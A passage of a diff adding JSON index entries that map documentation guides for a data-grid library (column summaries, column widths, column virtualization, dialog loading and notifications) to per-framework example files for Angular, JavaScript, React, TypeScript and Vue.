"Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example8", + "exampleTitle": "Set up column summaries, using a function (3)", + "docPermalink": "/column-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example8.js", + "file": "guides__columns__column-summary__javascript__example8.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example8", + "exampleTitle": "Set up column summaries, using a function (3)", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example8.tsx", + "file": "guides__columns__column-summary__react__example8.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example8", + "exampleTitle": "Set up column summaries, using a function (3)", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example8.ts", + "file": "guides__columns__column-summary__javascript__example8.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example8", + "exampleTitle": "Set up column summaries, using a function (3)", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example8.vue", + "file": "guides__columns__column-summary__vue__example8.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example8", + "exampleTitle": "Set up column summaries, using a function (3)", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example9.js", + "file": "guides__columns__column-summary__javascript__example9.js.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example9", + "exampleTitle": "Implement a custom summary function", + "docPermalink": "/column-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/react/example9.tsx", + "file": "guides__columns__column-summary__react__example9.tsx.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example9", + "exampleTitle": "Implement a custom summary function", + "docPermalink": "/column-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/javascript/example9.ts", + "file": "guides__columns__column-summary__javascript__example9.ts.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example9", + "exampleTitle": "Implement a custom summary function", + "docPermalink": "/column-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-summary/vue/example9.vue", + "file": "guides__columns__column-summary__vue__example9.vue.json", + "breadcrumb": [ + "Columns", + "Column summary" + ], + "guide": "guides/columns/column-summary/column-summary.md", + "guideTitle": "Column summary", + "exampleId": "example9", + "exampleTitle": "Implement a custom summary function", + "docPermalink": "/column-summary", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-virtualization/angular/example1.ts", + "file": "guides__columns__column-virtualization__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column virtualization" + ], + "guide": "guides/columns/column-virtualization/column-virtualization.md", + "guideTitle": "Column virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-virtualization", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-virtualization/javascript/example1.js", + "file": "guides__columns__column-virtualization__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column virtualization" + ], + "guide": "guides/columns/column-virtualization/column-virtualization.md", + "guideTitle": "Column virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-virtualization", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-virtualization/react/example1.tsx", + "file": "guides__columns__column-virtualization__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column virtualization" + ], + "guide": "guides/columns/column-virtualization/column-virtualization.md", + "guideTitle": "Column virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-virtualization", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-virtualization/javascript/example1.ts", + "file": "guides__columns__column-virtualization__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column virtualization" + ], + "guide": "guides/columns/column-virtualization/column-virtualization.md", + "guideTitle": "Column virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-virtualization", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-virtualization/vue/example1.vue", + "file": "guides__columns__column-virtualization__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column virtualization" + ], + "guide": "guides/columns/column-virtualization/column-virtualization.md", + "guideTitle": "Column virtualization", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-virtualization", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/angular/example1.ts", + "file": "guides__columns__column-width__angular__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-width", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example1.js", + "file": "guides__columns__column-width__javascript__example1.js.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-width", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/react/example1.tsx", + "file": "guides__columns__column-width__react__example1.tsx.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-width", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example1.ts", + "file": "guides__columns__column-width__javascript__example1.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-width", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/vue/example1.vue", + "file": "guides__columns__column-width__vue__example1.vue.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/column-width", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/angular/example2.ts", + "file": "guides__columns__column-width__angular__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example2", + "exampleTitle": "Set the column width in an array", + "docPermalink": "/column-width", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example2.js", + "file": "guides__columns__column-width__javascript__example2.js.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example2", + "exampleTitle": "Set the column width in an array", + "docPermalink": "/column-width", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/react/example2.tsx", + "file": "guides__columns__column-width__react__example2.tsx.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example2", + "exampleTitle": "Set the column width in an array", + "docPermalink": "/column-width", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example2.ts", + "file": "guides__columns__column-width__javascript__example2.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example2", + "exampleTitle": "Set the column width in an array", + "docPermalink": "/column-width", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/vue/example2.vue", + "file": "guides__columns__column-width__vue__example2.vue.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example2", + "exampleTitle": "Set the column width in an array", + "docPermalink": "/column-width", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/angular/example3.ts", + "file": "guides__columns__column-width__angular__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example3", + "exampleTitle": "Set the column width using a function", + "docPermalink": "/column-width", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example3.js", + "file": "guides__columns__column-width__javascript__example3.js.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example3", + "exampleTitle": "Set the column width using a function", + "docPermalink": "/column-width", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/react/example3.tsx", + "file": "guides__columns__column-width__react__example3.tsx.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example3", + "exampleTitle": "Set the column width using a function", + "docPermalink": "/column-width", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example3.ts", + "file": "guides__columns__column-width__javascript__example3.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example3", + "exampleTitle": "Set the column width using a function", + "docPermalink": "/column-width", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/vue/example3.vue", + "file": "guides__columns__column-width__vue__example3.vue.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example3", + "exampleTitle": "Set the column width using a function", + "docPermalink": "/column-width", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/angular/example4.ts", + "file": "guides__columns__column-width__angular__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example4", + "exampleTitle": "Adjust the column width manually", + "docPermalink": "/column-width", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example4.js", + "file": "guides__columns__column-width__javascript__example4.js.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example4", + "exampleTitle": "Adjust the column width manually", + "docPermalink": "/column-width", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/react/example4.tsx", + "file": "guides__columns__column-width__react__example4.tsx.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example4", + "exampleTitle": "Adjust the column width manually", + "docPermalink": "/column-width", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example4.ts", + "file": "guides__columns__column-width__javascript__example4.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example4", + "exampleTitle": "Adjust the column width manually", + "docPermalink": "/column-width", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/vue/example4.vue", + "file": "guides__columns__column-width__vue__example4.vue.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example4", + "exampleTitle": "Adjust the column width manually", + "docPermalink": "/column-width", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/angular/example5.ts", + "file": "guides__columns__column-width__angular__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example5", + "exampleTitle": "Fit all columns equally", + "docPermalink": "/column-width", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example5.js", + "file": "guides__columns__column-width__javascript__example5.js.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example5", + "exampleTitle": "Fit all columns equally", + "docPermalink": "/column-width", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/react/example5.tsx", + "file": "guides__columns__column-width__react__example5.tsx.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example5", + "exampleTitle": "Fit all columns equally", + "docPermalink": "/column-width", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example5.ts", + "file": "guides__columns__column-width__javascript__example5.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example5", + "exampleTitle": "Fit all columns equally", + "docPermalink": "/column-width", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/vue/example5.vue", + "file": "guides__columns__column-width__vue__example5.vue.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example5", + "exampleTitle": "Fit all columns equally", + "docPermalink": "/column-width", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/angular/example6.ts", + "file": "guides__columns__column-width__angular__example6.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example6", + "exampleTitle": "Stretch only the last column", + "docPermalink": "/column-width", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example6.js", + "file": "guides__columns__column-width__javascript__example6.js.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example6", + "exampleTitle": "Stretch only the last column", + "docPermalink": "/column-width", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/react/example6.tsx", + "file": "guides__columns__column-width__react__example6.tsx.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example6", + "exampleTitle": "Stretch only the last column", + "docPermalink": "/column-width", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/javascript/example6.ts", + "file": "guides__columns__column-width__javascript__example6.ts.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example6", + "exampleTitle": "Stretch only the last column", + "docPermalink": "/column-width", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/columns/column-width/vue/example6.vue", + "file": "guides__columns__column-width__vue__example6.vue.json", + "breadcrumb": [ + "Columns", + "Column widths" + ], + "guide": "guides/columns/column-width/column-width.md", + "guideTitle": "Column widths", + "exampleId": "example6", + "exampleTitle": "Stretch only the last column", + "docPermalink": "/column-width", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/angular/example1.ts", + "file": "guides__dialog__loading__angular__example1.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/loading", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example1.js", + "file": "guides__dialog__loading__javascript__example1.js.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/loading", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/react/example1.tsx", + "file": "guides__dialog__loading__react__example1.tsx.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/loading", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example1.ts", + "file": "guides__dialog__loading__javascript__example1.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/loading", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/vue/example1.vue", + "file": "guides__dialog__loading__vue__example1.vue.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/loading", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/angular/example2.ts", + "file": "guides__dialog__loading__angular__example2.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/loading", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example2.js", + "file": "guides__dialog__loading__javascript__example2.js.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/loading", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/react/example2.tsx", + "file": "guides__dialog__loading__react__example2.tsx.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/loading", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example2.ts", + "file": "guides__dialog__loading__javascript__example2.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/loading", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/vue/example2.vue", + "file": "guides__dialog__loading__vue__example2.vue.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example2", + "exampleTitle": "Custom configuration", + "docPermalink": "/loading", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/angular/example3.ts", + "file": "guides__dialog__loading__angular__example3.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example3", + "exampleTitle": "Real-world usage", + "docPermalink": "/loading", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example3.js", + "file": "guides__dialog__loading__javascript__example3.js.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example3", + "exampleTitle": "Real-world usage", + "docPermalink": "/loading", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/react/example3.tsx", + "file": "guides__dialog__loading__react__example3.tsx.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example3", + "exampleTitle": "Real-world usage", + "docPermalink": "/loading", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example3.ts", + "file": "guides__dialog__loading__javascript__example3.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example3", + "exampleTitle": "Real-world usage", + "docPermalink": "/loading", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/vue/example3.vue", + "file": "guides__dialog__loading__vue__example3.vue.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example3", + "exampleTitle": "Real-world usage", + "docPermalink": "/loading", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/angular/example4.ts", + "file": "guides__dialog__loading__angular__example4.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example4", + "exampleTitle": "Loading with Pagination plugin", + "docPermalink": "/loading", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example4.js", + "file": "guides__dialog__loading__javascript__example4.js.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example4", + "exampleTitle": "Loading with Pagination plugin", + "docPermalink": "/loading", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/react/example4.tsx", + "file": "guides__dialog__loading__react__example4.tsx.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example4", + "exampleTitle": "Loading with Pagination plugin", + "docPermalink": "/loading", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/javascript/example4.ts", + "file": "guides__dialog__loading__javascript__example4.ts.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example4", + "exampleTitle": "Loading with Pagination plugin", + "docPermalink": "/loading", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/loading/vue/example4.vue", + "file": "guides__dialog__loading__vue__example4.vue.json", + "breadcrumb": [ + "Dialog", + "Loading" + ], + "guide": "guides/dialog/loading/loading.md", + "guideTitle": "Loading", + "exampleId": "example4", + "exampleTitle": "Loading with Pagination plugin", + "docPermalink": "/loading", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/angular/example1.ts", + "file": "guides__dialog__notification__angular__example1.ts.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/notification", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/javascript/example1.js", + "file": "guides__dialog__notification__javascript__example1.js.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/notification", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/react/example1.tsx", + "file": "guides__dialog__notification__react__example1.tsx.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/notification", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/javascript/example1.ts", + "file": "guides__dialog__notification__javascript__example1.ts.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/notification", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/vue/example1.vue", + "file": "guides__dialog__notification__vue__example1.vue.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/notification", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/angular/example2.ts", + "file": "guides__dialog__notification__angular__example2.ts.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example2", + "exampleTitle": "Toolbar actions (inventory-style)", + "docPermalink": "/notification", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/javascript/example2.js", + "file": "guides__dialog__notification__javascript__example2.js.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example2", + "exampleTitle": "Toolbar actions (inventory-style)", + "docPermalink": "/notification", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/react/example2.tsx", + "file": "guides__dialog__notification__react__example2.tsx.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example2", + "exampleTitle": "Toolbar actions (inventory-style)", + "docPermalink": "/notification", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/javascript/example2.ts", + "file": "guides__dialog__notification__javascript__example2.ts.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example2", + "exampleTitle": "Toolbar actions (inventory-style)", + "docPermalink": "/notification", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/notification/vue/example2.vue", + "file": "guides__dialog__notification__vue__example2.vue.json", + "breadcrumb": [ + "Dialog", + "Notification" + ], + "guide": "guides/dialog/notification/notification.md", + "guideTitle": "Notification", + "exampleId": "example2", + "exampleTitle": "Toolbar actions (inventory-style)", + "docPermalink": "/notification", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/angular/example1.ts", + "file": "guides__dialog__dialog__angular__example1.ts.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dialog", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/dialog/dialog/javascript/example1.js", + "file": "guides__dialog__dialog__javascript__example1.js.json", + "breadcrumb": [ + "Dialog" + ], + "guide": "guides/dialog/dialog/dialog.md", + "guideTitle": "Dialog", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/dialog", + "framework": "javascript", + "displayName": 